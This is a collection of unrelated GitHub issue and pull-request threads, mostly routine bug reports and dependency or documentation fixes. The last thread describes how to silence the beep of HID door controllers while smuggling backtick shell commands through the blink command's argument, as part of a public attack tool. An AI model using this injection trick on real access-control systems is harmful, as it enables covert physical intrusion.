Fix body() method

Fix the article.body method by replacing the self.filename argument with self.filepath.

Hello @maxdrohde , is this change due to a bug? Can you describe the problem associated with current code?

you are right, I reproduced the bug and also tested your patch and it works. Thank you for your patch!


version 3.0.0 breakpoint-changed event

Software version (please complete the following information):

Browser [chrome]
Vue Version [3.2.45]
vue-grid-layout Version: [3.0.0-beta1]

Describe the bug
When using the 3.0.0 version breakpoint-changed event, if the width decreases, the items overlap.
Please use the [CodeSandbox Template]
https://codesandbox.io/s/vue-grid-layout-sft1pr?file=/src/App.vue
To Reproduce
Steps to reproduce the behavior:
Reduce the browser's width.
Expected behavior
Items in the first column overlap with the added items without being pushed down.
Screenshots

Additional context
It works fine in 2.x versions.

yes same here

v-model:layout = "your layout" in Vue3
layout.sync = "your layout" in Vue2

Has the issue been resolved? i still have problem. Should i wait for the release version, or is there another solution?


[doc][typo] RFC 6980 Text and Link inconsistency in README.md

README.md document has inconsistency for RFC 6980 Text and Link
[RFC 6980](https://tools.ietf.org/html/rfc6890)

It seems old issue.
README.md: update HA section

Closed by #2396


Installation issues

Logs: https://gist.github.com/bazzaar/c0d1a7c6bc5e310978e265bc2727e27b
Maybe escaping is missing somewhere?

Works on RakuDist/debian. On the same version of Rakudo
http://repo.westus.cloudapp.azure.com/sparky/report/debian/737

Yes, that's what I saw as well. But the log is what a real user has reported.
I wonder if there is some subtle bug on some environments.

[Digest::SHA256::Native] Command: /opt/rakudo-pkg/bin/rakudo -e require '/home/bazzaar/.zef/store/Digest-SHA256-Native-0.03.tar.gz/Digest-SHA256-Native-0.03/Build.pm'; ::('Build').new.build('/home/bazzaar/.zef/store/Digest-SHA256-Native-0.03.tar.gz/Digest-SHA256-Native-0.03') ?? exit(0) !! exit(1);

Does not really look to me like a correct invocation.

maybe zef version specific bug?

https://github.com/ugexe/zef/blob/d39ca4d278b57046618b579e9287b299079e90bc/lib/Zef/Service/Shell/DistributionBuilder.pm6#L16-L21
feels like something. I wonder if it doesn't escape code properly somehow.

RakuDist's zef version:
13:13:37 05/11/2020 [bash: zef version] v0.8.4

Let's compare with the VM's zef version

I tried the latest version of zef on OS/X (v0.8.4, 0414984b7), as well as an older version (v0.8.2) but couldn't reproduce this.

so we need to know the version of zef used when the error happened.

bazzaar@linux:~> zef --version
v0.8.4
(this just reproduced again now)
bazzaar@linux:~> zef install Digest::SHA256::Native
===> Searching for: Digest::SHA256::Native
===> Building: Digest::SHA256::Native:ver<0.03>
[Digest::SHA256::Native] ===SORRY!===
[Digest::SHA256::Native] No such method 'CALL-ME' for invocant of type 'Str'
===> Building [FAIL]: Digest::SHA256::Native:ver<0.03>
Aborting due to build failure: Digest::SHA256::Native:ver<0.03> (use --force-build to override)
Background :
OK, so the initial fail, happened after upgrading to the 2020.05.1 point release (using the Opensuse Leap 15.2 system package manager). The new release (rakudo and zef) found and listed all the additional modules I'd just installed only hours before on top of the 2020-05 release.  Digest::SHA256::Native was the first module I tried to install after the upgrade. I don't remember if I'd logged out / shut down the machine in between times. However, I've successfully installed two other modules since :
bazzaar@linux:~> zef install Log::Async
===> Searching for: Log::Async
===> Testing: Log::Async:ver<0.0.6>
===> Testing [OK] for Log::Async:ver<0.0.6>
===> Installing: Log::Async:ver<0.0.6>
bazzaar@linux:~> zef install Net::ZMQ
===> Searching for: Net::ZMQ
===> Testing: Net::ZMQ:ver<0.8>
===> Testing [OK] for Net::ZMQ:ver<0.8>
===> Installing: Net::ZMQ:ver<0.8>
Anyone have any suggestion for what I could try next?

Not all modules have build step. I think you want to look up modules with Build.pm in the repo or something, but I really don't remember such a module quickly...

Thanks (Altai-man, melezhic, bduggan) for investigating, it seems that this probably isn't a digest-sha256-native specific issue, as I'm now finding other errors cropping up. To be clear, I saw no such errors loading a whole raft of modules onto 2020.05, this seems to have only surfaced since upgrading to the point release.
bazzaar@linux:~> zef install AccessorFacade
===> Searching for: AccessorFacade
===> Testing: AccessorFacade:ver<0.0.9>:authgithub:jonathanstowe:api<1.0>
[AccessorFacade] ===SORRY!=== Error while compiling /home/bazzaar/.zef/store/AccessorFacade-0.0.9.tar.gz/AccessorFacade-0.0.9/t/001-meta.t
[AccessorFacade] An exception occurred while evaluating a BEGIN
[AccessorFacade] at /home/bazzaar/.zef/store/AccessorFacade-0.0.9.tar.gz/AccessorFacade-0.0.9/t/001-meta.t:11
[AccessorFacade] Exception details:
[AccessorFacade]   ===SORRY!=== Error while compiling /home/bazzaar/.zef/store/AccessorFacade-0.0.9.tar.gz/AccessorFacade-0.0.9/home#sources/E6B391CCF8844EE61A10DCED6E801E9A713D13F6 (Test::META)
[AccessorFacade]   No such method 'update' for invocant of type 'Block'
[AccessorFacade]   at /home/bazzaar/.zef/store/AccessorFacade-0.0.9.tar.gz/AccessorFacade-0.0.9/home#sources/E6B391CCF8844EE61A10DCED6E801E9A713D13F6 (Test::META):70
[AccessorFacade]     in block  at t/001-meta.t line 12
===> Testing [FAIL]: AccessorFacade:ver<0.0.9>:authgithub:jonathanstowe:api<1.0>
Aborting due to test failure: AccessorFacade:ver<0.0.9>:authgithub:jonathanstowe:api<1.0> (use --force-test to override)

I just found that I had no repl (even though zef lists Readline as being installed)
to enter the repl, I type raku, press enter, when I do, nothing happens, it just hangs without a prompt.
Maybe this ties in with the issues I've been seeing with zef (https://github.com/bduggan/p6-digest-sha256-native/issues/2)
It seems like although zef lists Readline as being locally installed, rakudo is not really able to use it?
Ever since I upgraded to the new rakudo/zef package (2020.05.1).
So I just did a 'zef install --force-install Readline' even though zef said 'All candidates are currently installed, No reason to proceed.'
.... and now the repl works, when i type raku and enter.
So it appears that modules installed on top of 2020.05, are not being properly accessed once rakudo/zef 2020.05.1 package is installed.

I am sure this repo is not the right place, but not sure where this should be.
First of all, the original issue is still reproducible?

As of 5mins ago, yes (see below). However I am resigned to to just --force-install'ing all the modules I'd installed previously on 2020.05. I'm not sure, if folks would be impacted if there were to be a 2nd point release, or even a point release for 2020.06.
I agree, this isn't the repo to document this issue (instead zef/rakudo probably?)
bazzaar@localhost:~> zef install --debug Digest::SHA256::Native
===> Searching for: Digest::SHA256::Native
===> Found: Digest::SHA256::Native:ver<0.03> [via Zef::Repository::LocalCache]
===> Dependencies: LibraryMake
===> Filtering: Digest::SHA256::Native:ver<0.03>
===> Filtering [OK] for Digest::SHA256::Native:ver<0.03>
===> Building: Digest::SHA256::Native:ver<0.03>
[Digest::SHA256::Native] Building with plugin: Zef::Service::Shell::LegacyBuild+{<anon|1>}
[Digest::SHA256::Native] Command: /opt/rakudo-pkg/bin/rakudo -e require '/home/bazzaar/.zef/store/Digest-SHA256-Native-0.03.tar.gz/Digest-SHA256-Native-0.03/Build.pm'; ::('Build').new.build('/home/bazzaar/.zef/store/Digest-SHA256-Native-0.03.tar.gz/Digest-SHA256-Native-0.03') ?? exit(0) !! exit(1);
[Digest::SHA256::Native] ===SORRY!===
[Digest::SHA256::Native] No such method 'CALL-ME' for invocant of type 'Str'
===> Building [FAIL]: Digest::SHA256::Native:ver<0.03>
Aborting due to build failure: Digest::SHA256::Native:ver<0.03> (use --force-build to override)

Things are working fine as far as I can tell, so I'm going to close this; I can't reproduce it
~ $ raku -v
This is Rakudo version 2020.05.1 built on MoarVM version 2020.05
implementing Raku 6.d.
~ $ zef install Digest::SHA256::Native
===> Searching for: Digest::SHA256::Native
===> Updating cpan mirror: https://raw.githubusercontent.com/ugexe/Perl6-ecosystems/master/cpan1.json
===> Updating p6c mirror: https://raw.githubusercontent.com/ugexe/Perl6-ecosystems/master/p6c1.json
===> Updated p6c mirror: https://raw.githubusercontent.com/ugexe/Perl6-ecosystems/master/p6c1.json
===> Updated cpan mirror: https://raw.githubusercontent.com/ugexe/Perl6-ecosystems/master/cpan1.json
===> Building: Digest::SHA256::Native:ver<0.03>
===> Building [OK] for Digest::SHA256::Native:ver<0.03>
===> Testing: Digest::SHA256::Native:ver<0.03>
===> Testing [OK] for Digest::SHA256::Native:ver<0.03>
===> Installing: Digest::SHA256::Native:ver<0.03>
~ $ zef --version
v0.8.4


Typo in README.md

Previously instructed user to install pip3 via the package python3-pip3 for Ubuntu.  The actual package is python3-pip.

+1 for this correction. As a side note is there somewhere that we can redirect for python and pip installation instructions? It appears that those instructions should exist somewhere official.


Add support for compressed partials

Partials take up about 100 GiB already.
They should be stored in compressed form instead to save up disk space.

Blocked against #18.


Delete 'vue/cli' dependency and updated dependecies:

Vue: 3.2.47
Vite: 4.1.1
Electron: 23.0.0
Closed #43

Hi. Thanks for opening this PR. Electron 23 just came out and I'm willing to merge this PR to keep that version up-to-date 👍The Vue CLI was indeed an unused dev dependency, so removing it makes sense.
Locally I'm running against some issues when upgrading to Electron ^23.0, as Electron outputs the following error:
[electron] Hello from App.vue!
[electron] [55344:0213/224634.753:ERROR:cert_issuer_source_aia.cc(34)] Error parsing cert retrieved from AIA (as DER):
ERROR: Couldn't read tbsCertificate as SEQUENCE
ERROR: Failed parsing Certificate

I don't have this issue on Electron < 23.0. I'm curious what's going on; I haven't found any related Electron issues yet on their GH. So I want to do a little bit more digging on what's causing this before merging 😄

Hi Dueluze, thanks for your comment. Your views make perfect sense! Cheers! 💯
And it seems a certificate issue as the message shows. I haven't got this notification yet, so sorry for no clues.
Will clean the node_modules make any progress as it comes first to my thought?

I believe the error is coming from trying to load the Vue logo. Loading in other external assets seem to work just fine. I'll update this template to match the project generated by running npm create vite@latest --template vue

@onequid Could you run the npm update command on the Vue/Vite/Electron dependencies so the lock file reflects these new versions? The error has nothing to do with your changes, so we can merge the PR after the lock file is updated 👍

Copy that,  Captain.
Glad to make one tiny coneibution for this repo 😄
I will do that ASAP when I get back to my workstation on Monday.  Hope that'd be OK.

Looks good! Thanks for keeping the dependencies up-to-date :)


Update UIEdgeInsets extensions README link

Checklist

[x] I checked the Contributing Guidelines before creating this request.
[ ] New extensions are written in Swift 5.0.
[ ] New extensions support iOS 10.0+ / tvOS 9.0+ / macOS 10.10+ / watchOS 2.0+, or use @available if not.
[ ] I have added tests for new extensions, and they passed.
[ ] All extensions have a clear comments explaining their functionality, all parameters and return type in English.
[ ] All extensions are declared as public.
[ ] I have added a changelog entry describing my changes.

          4 Messages

:book:
Thank you for submitting a pull request to SwifterSwift. The team will review your submission as soon as possible.

:book:
iOS: Executed 676 tests, with 0 failures (0 unexpected) in 10.705 (12.398) seconds

:book:
tvOS: Executed 645 tests, with 0 failures (0 unexpected) in 2.276 (2.635) seconds

:book:
macOS: Executed 508 tests, with 0 failures (0 unexpected) in 0.969 (1.350) seconds

  Generated by :no_entry_sign: Danger

Thanks for the cleanup 👍

Thank you for contributing to SwifterSwift! I've invited you to join the SwifterSwift GitHub organization - no pressure to accept! If you'd like more information on what that means, check out our contributing guidelines. Feel free to reach out if you have any questions! 😃


Add base/sources to .gitignore

I have added my own sources to base/sources. Can we add something to .gitignore to ignore files other than the sources (github, bitbucket etc) supported by zplug by default?
If it sounds ok, I can prepare a pull request.
Thanks!

# sources
base/sources/*
!base/sources/bitbucket.zsh
!base/sources/gh-r.zsh
!base/sources/gist.zsh
!base/sources/github.zsh
!base/sources/local.zsh
!base/sources/oh-my-zsh.zsh
!base/sources/prezto.zsh

It can also be modified as above. However, I think it's not a wise way. Is it necessary to add it to gitignore?

It is not a must have, but it will be nice for user who add their own sources and still have a clean git repository.
Another option is that instead of looking at base/source/ for the possible sources, add a directory (e.g. custom) in base/sources. When validating sources, zplug can look at both base/sources and base/sources/custom. In that case, the .gitignore can be changed to just ignore everything within base/sources/custom.


Failed build -> Error on Flutter Channel stable 2.5.2

Just upgrade my flutter to the latest version, and got error like this.
color ??= Theme.of(context).textTheme.body1!.color
The problem is ini .body1

the problem is not based on the package, but the outdated flutter dart
code. you have to change the way you use the color style
Pada tanggal Jum, 8 Okt 2021 13.38, roisul @.***>
menulis:

Just upgrade my flutter to the latest version, and got error like this.
color ??= Theme.of(context).textTheme.body1!.color
The problem is ini .body1
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/indratrisnar/d_chart/issues/1, or unsubscribe
https://github.com/notifications/unsubscribe-auth/APTLYD6GKP2AB7YJLYBZTG3UF2GXDANCNFSM5FS4KNAA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

please explain in more detail regarding the error that appears.
when does the error appear?
is it when you try to style the chart, or use some properties in d_chart or
what?
and have you tried the example?
Pada tanggal Min, 10 Okt 2021 16.17, roisul @.***>
menulis:

I think the error comes from charts_flutter package, because in console
print output like this /C:/src/flutter/.pub-cache/hosted/
pub.dartlang.org/charts_flutter-0.11.0/lib/src/behaviors/legend/legend_entry_layout.dart:134:45:
Error: The getter 'body1' isn't defined for the class 'TextTheme'.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/indratrisnar/d_chart/issues/1#issuecomment-939437074,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APTLYD3SH5FO4D6IMKNKMJ3UGFK2TANCNFSM5FS4KNAA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Sorry, if it wasn't clear enough.
here's the chronology.

I was using this plugin and running well
I decide to upgrade my flutter to the latest stable version (now 2.5.2)
I tried flutter build appbundle and got error like this /C:/src/flutter/.pub-cache/hosted/pub.dartlang.org/charts_flutter-0.11.0/lib/src/behaviors/legend/legend_entry_layout.dart:134:45: Error: The getter 'body1' isn't defined for the class 'TextTheme'.

I hope it helps, thanks.

Oke i'll chek it.
This package build depends on flutter 2.5.0.
I will try to upgrade to the last stable version.
 Is it run well or something wrong?
Pada tanggal Min, 10 Okt 2021 18.57, roisul @.***>
menulis:

Sorry, if it wasn't clear enough.
here's the chronology.

I was using this plugin and running well
I decide to upgrade my flutter to the latest stable version (now
2.5.2)
I tried flutter build appbundle and got error like this
/C:/src/flutter/.pub-cache/hosted/
pub.dartlang.org/charts_flutter-0.11.0/lib/src/behaviors/legend/legend_entry_layout.dart:134:45:
Error: The getter 'body1' isn't defined for the class 'TextTheme'.

I hope it helps, thanks.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/indratrisnar/d_chart/issues/1#issuecomment-939469307,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APTLYD5TEHLLWXGVN5XFXV3UGF5SFANCNFSM5FS4KNAA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

yes, debug mode also stuck on the same error.

i have found something error depends on base package where the package is
charts_flutter.
the issue:
/
C:/Users/Divcase/AppData/Roaming/Pub/Cache/hosted/pub.dartlang.org/charts_flutter-0.11.0/lib/src/behaviors/legend/legend_entry_layout.dart:134:45:
Error: The getter 'body1' isn't defined for the class 'TextTheme'.
for the time being d_chart is still under construction, so it can't be used
yet. After fixing it, I'll let you know later
thank you for understanding
Pada tanggal Min, 10 Okt 2021 pukul 20.35 roisul @.***>
menulis:

yes, debug mode also stuck on the same error.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/indratrisnar/d_chart/issues/1#issuecomment-939483672,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APTLYDZ3UQ7ANFEKWGL62EDUGGJCBANCNFSM5FS4KNAA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Package D'Chart has updated. Bug fixed.
Pada tanggal Min, 10 Okt 2021 22.52, Indra Trisna @.***>
menulis:

i have found something error depends on base package where the package is
charts_flutter.
the issue:
/
C:/Users/Divcase/AppData/Roaming/Pub/Cache/hosted/pub.dartlang.org/charts_flutter-0.11.0/lib/src/behaviors/legend/legend_entry_layout.dart:134:45:
Error: The getter 'body1' isn't defined for the class 'TextTheme'.
for the time being d_chart is still under construction, so it can't be
used yet. After fixing it, I'll let you know later
thank you for understanding
Pada tanggal Min, 10 Okt 2021 pukul 20.35 roisul @.***>
menulis:

yes, debug mode also stuck on the same error.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/indratrisnar/d_chart/issues/1#issuecomment-939483672,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APTLYDZ3UQ7ANFEKWGL62EDUGGJCBANCNFSM5FS4KNAA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.


Allow indexing fields from related models

I have 2 models related by foreign key and I would like to search data from related model, eg Author and Book so I could search for both author name and book title. I can create artificial field that concatenates all fields I want to have searchable but this is inconvenient.
This could be like eg:
class Book(db.Model):
    __searchable__ = ['title', 'summary', 'author.full_name']

where author is db.relationship based on foreign key

Thank you for your support,at present flask-msearch doesn't support relationship column,I will add it in the future.

Okay, I'm working on a PR that would allow some workaround using SQLAlchemy hybrid_property. Basically one change to _schema() method to detect that this is not a "normal" field.

Related models has been added  on https://github.com/honmaple/flask-msearch/commit/fe4544f8381748fc24e73fd1155ae0928ce04bb6


Added Automatic Email Python Script

This python script can help you send a mail at once to thousands of people in one go.

congratulations on your hactoberfest contribution. if you like this repo then give it a star. Happy hacking..


Custom header field

In current code there is no way to provide custom header field, only field from enum. I understand that this was done by RFC, but sometimes you need to provide session token, or some other field not from enum. How to do this?
With current code the only way I can do this is to add my custom field to enum and modify some other places to have it working. In other libraries there is no such restriction.

What's wrong with using this overload?
https://www.boost.org/doc/libs/1_69_0/libs/beast/doc/html/beast/ref/boost__beast__http__basic_fields/insert/overload2.html

@vinniefalco I already tried to use this one but internally it tries to search in table to find enum value for given string (see string_to_field).


Delete duplicate canonicalization patterns from LinalgExt dialect.

The pattern was upstreamed in https://github.com/llvm/llvm-project/commit/193cefd1b1f25eec3ea9e9ebd3faaa2e16caabc0, which is implemented for DPS interface.

This is the cleanup that I forgot to send out before Xmas season..

Could you let me know how this happens now?

It is registered to tensor dialect canonicalization patterns. They will get called in a canonializer or when we explicitly populate patterns from tensor dialect canonicalization patterns.
https://github.com/llvm/llvm-project/blame/ed0a14144ba980ceb29e86c9ca615b785e667dcf/mlir/lib/Dialect/Tensor/IR/TensorOps.cpp#L4026-L4029


isIntersecting returns true when element is outside of viewport

Expected behavior
isIntersecting should return false when element is scrolled outside of viewport (with set threshold).
Current behavior
onChange triggers when element is scrolled out of viewport but returns true instead of false. This only seem to happen when threshold is set. When removing the threshold property everything works as expected.
Steps to reproduce
https://codesandbox.io/s/6z00y2vjwr

I believe that's expected behavior if you set the threshold only to 1. If you modify to [0, 1] instead you should get the expected result.

Setting [0, 1] gives me the same behaviour as not setting threshold at all (Chrome 62.0.3202.94) . Shouldn't setting it to 1 give isIntersecting: true only when the whole element is in the viewport, and false when any part of it is outside the viewport?

Indeed it should switch back to false after the threshold step. Here's the same codesandbox exhibiting the same behavior in Chrome with the native API:
https://codesandbox.io/s/py9wmyy297
This proves that the behavior is native and has nothing to do with this repo. I think I have an idea of what's going on...
If you scroll back up very aggressively you'll get the value to switch to false sometimes, because of the async nature of this API. This indicates to me that Chrome treats intersections as inclusive, so it could be a case of edge-adjacent intersections. I guess we should open an issue in the w3c polyfill repo about this, in order to clarify the behavior.

According to this https://bugs.chromium.org/p/chromium/issues/detail?id=713819 it's expected behaviour so perhaps isIntersecting can't be used in this way. I guess checking intersectionRatio in combination with [0, 1] as targets would work but event.interSectionRatio in the callback doesn't give the exact value of the target intersectionRatio so only works in simple use cases (i.e checking less than or greater than).

Feel free to close this btw as it's a native issue.

Thanks for pasting the link, I wasn't fully aware of the purpose of isIntersecting so I'll make sure to document the usages better. Cheers!


DuplicateTypeException in CommandService

When calling CommandService.Handle for the first time in parallel, it's possible for two threads to pass the !_initialized check on this line.
https://github.com/Eventuous/eventuous/blob/b72c9c0d9115c4a25572e6277c54a940e4b5b9b0/src/Core/src/Eventuous.Application/AggregateService/CommandService.cs#L57
This means that BuildHandlers can be called twice, which causes a DuplicateTypeException when attempting to add the handler to the HandlersMap.
A possible solution would be to duplicate the !_initialized check inside BuildHandlers.

Hey @mytresor
The normal way to contribute on GitHub is using a fork https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project

I am not sure moving the check down would solve as it will probably fail exactly the same way. There are two ways around it - make initialisations explicit and call it once at startup somehow (I didn't check how) or to accept the performance hit of using Interlocked.

Thanks, Alexei. Sorry for a dumb question.
Actually, adding an additional check inside works pretty well. I have a test project and can easily reproduce the issue with the current codebase. Adding the additional check inside of the BuildHandlers method does fix the issue (tested with 10 parallel threads).
I think there is no need to use Interlocked, because the method itself is marked as [MethodImpl(MethodImplOptions.Synchronized)].

Ok, I am of course willing to accept this, and you guys can verify that it works.

Ah, if the function is marked as synchronised, then it will definitely work. But, it still will create an issue with performance because synchronised invocations will build up a queue. That function won't be called in parallel, only sequentially. Off it will be relatively fast, but there will certainly be some performance impact.

Ok, what if instead of checking the boolean inside the synchronised function, the function itself will be idempotent? It's easy to check if handlers are already registered (I might have overlooked something), and ignore them. Then, still, the function could be called multiple times, but it won't crash. The boolean will eventually be set to true and the check will pass.
This way, we can ensure that the builder is only registering things once, and we don't get repeated calls to synchronised context, so no performance overhead.

This will work for sure, and the check can be added inside of the loop. But do you really think it has such a noticeable perf impact?
The BuildHandlers method will not called at all after the initialisation, so there will be no perf impact in runtime. The only time we might have some minor delays is during the initialisation (basically first few Handle calls at max).

Ok, I am sorry for not reading your proposal properly. You said "add additional check" and I thought of "moving the check". Yeah, it will work.

Yeah, thats right. Just a double check.
https://github.com/Eventuous/eventuous/pull/331


Add recursive "remove empty output directories" helper

Desirable for https://github.com/vkottler/ifgen/pull/66.

https://github.com/vkottler/vcorelib/pull/152


Create bubblesort

write a c code to perform bubble sorting
What type of PR is this? (check all applicable)

[ ] 🚀 Added Name
[ ] ✨ Feature
[ ] 🌟 stared the repo
[ ] 🐛 Grammatical Error
[ ] 📝 Documentation Update
[ ] 🚩 Other

Description
Add Link of GitHub Profile

kindly merge my pull request


Fixed Actions column search error

Fixed open bug where after searching in the table for an action, user is unable to select one of the options.

A new PR with Redux implementation has been created.


Load Balancer

My apache servers are behind a load balancer (AWS ElasticLoadBalancer), and mod_log_gelf is only sending load balancer local IP, instead of the client remote IP. Is there any configuration for this?

if your LB stores the client remote in X-Forwarded-For header, you can extract it as a header field, as shown in the doc


Issue on creating a new post

I have just created a new post a noticed two bugs.
First the user displayed is wrong (it displays jackolantern not genfood):
https://github.com/lavalleeale/Lemmios/assets/11618226/da7a4dd2-d839-4bba-9b70-e43306122ee0
Second the post itself is cropped and does not show the whole content:

The last one seems to be not related to creating a new post, and is probably intended. So ignore this one 😁

Huh, I've never seen that before, is Jackolatern an account you have signed in? Does this happen every time you post?

No, not my account but the previous post is made from this account maybe that is related.

Just tested it and yes it happened again. As you can see it is the author of the precious post.
https://github.com/lavalleeale/Lemmios/assets/11618226/458ae161-257e-4638-9ac3-e4a384b91dff


Modify Integration processResult to handle 3 URLs & 3 results

processResult needs to be modified once the 3 urls have been passed to the correct locations. We also need to handle the 3 results correctly at this point.

As discussed:

process_result should expect 3 URL strings
...but none is required (URL can be empty)
print URLs for failure message only
print non-empty URL only

cc @Sloox

Reopen - Mistakenly closed in #1624


Edit Playground Navigation Drawer to include Dashboard

Add project skeleton & theme
Add a navigation drawer which should include:

Portal

Twin:
Bridge
Transfer
Farms
Dedicated Nodes
DAO

Explorer

Statistics
Nodes
Farms

Calculators

Resource Pricing
Simulator

Monitoring
0-Hub
Manual

verified on the new playground

and the solutions are all in a grid view once you go to the tab will be visible


docs(README.md): add notice of final release and maintenance mode

If this wording is appropriate, I'll make a set of cookie-cutter PRs to include this in all the relevant repositories.

Here's another version, based on feedback from @sgoings:


Gracefully failback to pysmt when ortools not available

On 64-bit OS and 32-bit Python we still try to install penaltymodel-mip (which uses ortools), instead of penaltymodel-maxgap.

An alternative to automated fallback is adding a possibility of "manual override": to e.g. prefer penaltymodel-maxgap.

Default "extra" would solve this problem. Unfortunately, it's far from being available.

As of version penaltymodel 1.0.0 penaltymodel only has one factory that uses SciPy.


Add storage

Add optional storage support to allow testing and development with block
devices and extra filesystems.

@johnsca and @xavpaice
I hope the fact that this lands makes your week.

hmm, this actually breaks one specific use case, deploying it into a LXD container for testing.
$ juju deploy --series jammy ubuntu
Located charm "ubuntu" in charm-hub, revision 22
Deploying "ubuntu" from charm-hub charm "ubuntu", revision 22 in channel stable on jammy

$ juju add-unit ubuntu --to lxd:0
ERROR acquiring machine to host unit "ubuntu/1": cannot assign unit "ubuntu/1" to machine 0/lxd/0: adding storage to lxd container not supported (not supported)


[1.17.1 + 1.18.1]] Merling night vision still does not work underwater

When you go underwater and change to merling, the night vision does not work and pressing G does not help

I know... I still don't get why...


Outcome 3: Cell Ontology Viewer development

Rolling into the possible proposals for Outcome 1. No longer standalone goal.


Can we rename joint_state_controller

I propose to remove "_controller" suffix from non-controllers.
This will first and foremost influence the 'joint_state_controller', and than also the others, e.g. 'force_torque_sensor_controller'
The simplest proposal is to use word 'publisher' instead of 'controller':
'joint_state_publisher'
'force_torque_publisher'
Or ideas:

'observer' (also used in control theory)
'reporter'

What do you think?
Do you have any other ideas?

Absolutely! This was something that we were planning to do. Originally I even thought about a new "PublisherInterface" that'd only allow grabbing state interfaces, never command ones.

Originally I even thought about a new "PublisherInterface" that'd only allow grabbing state interfaces, never command ones.

This sounds interesting! Good idea!
We should probably rename it just after #109 is merged, and dann add an interface in the follow-up.

@destogl wrote:

The simplest proposal is to use word 'publisher' instead of 'controller':
'joint_state_publisher'

renaming :+1:, but joint_state_publisher is an exiting node, and seeing as we already have quite some confused people when it comes to joint_state_publisher and joint_state_controller right now (see #q303358 on ROS Answers fi), it might be good not to use joint_state_publisher for something in ros_control.

I think a lot of group have think which are state estimator and which are usually in the controller graph.
They are not simply sensor, but from the control viewpoint they are observer.

In the discussion in the WG Meeting on 24th March 2021 it is decided to go with broadcaster

Closing this one, opened a task for this


Adds link to Calico install instructions

Adds a hyperlink to the Calico installation instructions, enabling readers to complete the prerequisite of the section.

This change is

CLA should be signed.


re-order properties in Verbs, Activity Types, and Attachment Usage Types table

The current order:

broader
narrower
broadMatch
narrowMatch
exactMatch
relatedMatch
related

We could either group all the "Match" properties together or alternate them.

I think alternated, so that "used all the time" properties are up top and the "used mostly with deprecation and other funky situations" properties are down below.


feat: hide cursor, use vim.fn.getmousepos

This PR allows hiding the mouse cursor in the menu, and updates the way the mouse position is fetched to use vim.fn.getmousepos, which is less hacky than moving the cursor on mouse move.
todo: make hiding the cursor optional

Thanks!
I would like to confirm the followings.

Does this works?
In my environment, the cursor is visible.

Does winhighlight resolves the issue?
📝 Example

vim.api.nvim_create_autocmd({ "FileType" }, {
  group = vim.api.nvim_create_augroup("piemenu_highlight", {}),
  pattern = { "piemenu" },
  callback = function()
    vim.wo.winhighlight = "Cursor:NONE"
  end,
})

Interesting, I'll have to look into this. I use noice.nvim which draws its own cursor, so I'll have to disable it and check. I'll mark this as a draft for now and update when it works haha :)

And as for winhighlight, that doesn't resolve it as hiding the cursor can be tricky. Anyways, using vim.fn.getmousepos makes more sense than using the background's cursor imo.

Using getmousepos() is good! (though should fix some tests)
But I don't want to modify global option (and highlight) as plugin function. Sorry.
Instead, you can hide cursor and restore it by user side autocmd.
vim.api.nvim_set_hl(0, "InvisibleCursor", { bg = 0, blend = 100 })
vim.api.nvim_create_autocmd({ "FileType" }, {
  group = vim.api.nvim_create_augroup("piemenu_hide_cursor", {}),
  pattern = { "piemenu" },
  callback = function()
    local original = vim.api.nvim_get_hl(0, { name = "Cursor" })
    vim.api.nvim_set_hl(0, "Cursor", { link = "InvisibleCursor" })
    vim.api.nvim_create_autocmd({ "BufWipeout" }, {
      buffer = 0,
      once = true,
      callback = function()
        vim.api.nvim_set_hl(0, "Cursor", original)
      end,
    })
  end,
})

That's fair, no worries!

Thanks.
But I'll fix to use getmousepos() and consider the way of the test by myself.

Sounds good, I'll switch back to using the main repo when that's done :)
By the way, you may want to add a stylua config file so it's easier for others to keep the code in your preferred style.

use getmousepos()

implemented notomo/piemenu.nvim@3b0e3ca


⚠ Bofrost.be has degraded performance

In 91e4dd4, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1230 ms

Resolved: Bofrost.be performance has improved in a29171e.


HID command_blink_on prevent beep

I noticed the following on your blog:

I’m putting the finishing touches on a bash script that executes the above attack and another that cleans up afterwards. Along with the script, I’m doing some testing on timing. It think it’s possible to send the commands quick enough that, while all three payloads execute, only one beep is heard. Once those scripts are complete, you’ll be able to find the here: https://github.com/lixmk/Concierge.

You may be pleased to note that a value of -1 will prevent the device from beeping. This comes at the cost of one additional byte, thus decreasing the available space for the specified shell command by one byte.
A value of 1 will cause the device to beep for one second.
A value of 0 will cause the device to been infinitely.
ASCII values such as A will also cause the device to been infinitely.
A value of -1 will cause the blink executable to throw an error and exit, however the subsequent shell commands encompassed in backticks will still be executed by the system shell.
# ./blink -1
